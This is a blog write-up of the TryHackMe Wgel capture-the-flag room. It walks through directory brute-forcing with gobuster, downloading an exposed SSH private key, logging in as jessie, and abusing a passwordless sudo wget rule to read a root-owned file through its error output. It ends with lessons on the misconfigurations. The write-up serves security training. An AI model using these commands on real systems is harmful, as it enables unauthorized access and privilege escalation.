> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Wgel CTF Writeup: SSH Key Leak to wget Privilege Escalation
- URL: https://taiwanding.com/en/tryhackme-wgel-ctf-writeup/
- Published: 2025-09-18T07:00:32.000Z
- Updated: 2026-07-15T02:49:50.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## Room Info

- **Platform**: TryHackMe
- **Room name**: CorpOne
- **Difficulty**: Easy
- **Goal**: Capture user\_flag.txt and root\_flag.txt
- **Link**: [https://tryhackme.com/room/wgelctf](https://tryhackme.com/room/wgelctf?ref=taiwanding.com)

## Discovered Services

- **Port 22**: SSH
- **Port 80**: HTTP

---

## Step 1: Web Directory Enumeration

Brute-force the directories twice, uncover a hidden path, and grab a private key.

```bash
gobuster dir -u http://10.201.41.182/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 20
```

First we find /sitemap:

```bash
gobuster dir -u http://10.201.41.182/sitemap -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html
```

And straight away we spot `.ssh` and `id_rsa`:

```
http://10.201.41.182/sitemap/.ssh/

```

Save the private key locally and set the right permissions:

```bash
nano id_rsa
chmod 600 id_rsa

```

## Step 2: Figure Out the Username

A comment in the homepage source tells us the username is **jessie**:

```html
<!-- Jessie don't forget to udate the webiste -->

```

## Step 3: SSH In and Grab the User Flag

Log in as jessie with the private key we picked up, then find `user_flag.txt` in `~/Documents`:

```bash
ssh -i id_rsa jessie@10.201.41.182
jessie@CorpOne:~$ cd Documents
jessie@CorpOne:~/Documents$ ls
user_flag.txt
jessie@CorpOne:~/Documents$ cat user_flag.txt
<redacted>

```

## Step 4: Privilege Check

Check the sudo permissions and discover we can run `wget` without a password:

```bash
jessie@CorpOne:~$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget

```

## Step 5: Privilege Escalation

Read root's files with wget.

By abusing `sudo /usr/bin/wget -i <file>`, we can feed a file's contents in as a URL list; the requests fail, but **the error messages spit the original contents back out**, effectively letting us "read files" with root privileges.

```bash
# Read /root/root.txt directly, piping into less for easy viewing
sudo /usr/bin/wget -i /root/root.txt -O /dev/null 2>&1 | less

```

The output will contain the contents of `root_flag.txt` (or display the flag text directly) — just copy it and you're done.

## Key Takeaways

1. **Directory enumeration and credential exposure**
  - The HTTP service exposed the `.ssh/` directory publicly, allowing the `id_rsa` private key to be downloaded directly.
2. **Weak deployment practices**
  - A front-end comment leaked a valid username (jessie), lowering the bar for login attempts.
3. **Misconfigured sudo (NOPASSWD: wget)**
  - Allowing `/usr/bin/wget` to run as root can be abused to:
    - Read files (`-i` treats file contents as a URL list → error output leaks the original text)

## Lessons Learned

### On Step 5:

This method is aimed purely at capturing the flag — you can use the error output to leak the flag's contents. If you actually want a root shell, though, it's worth exploring other techniques.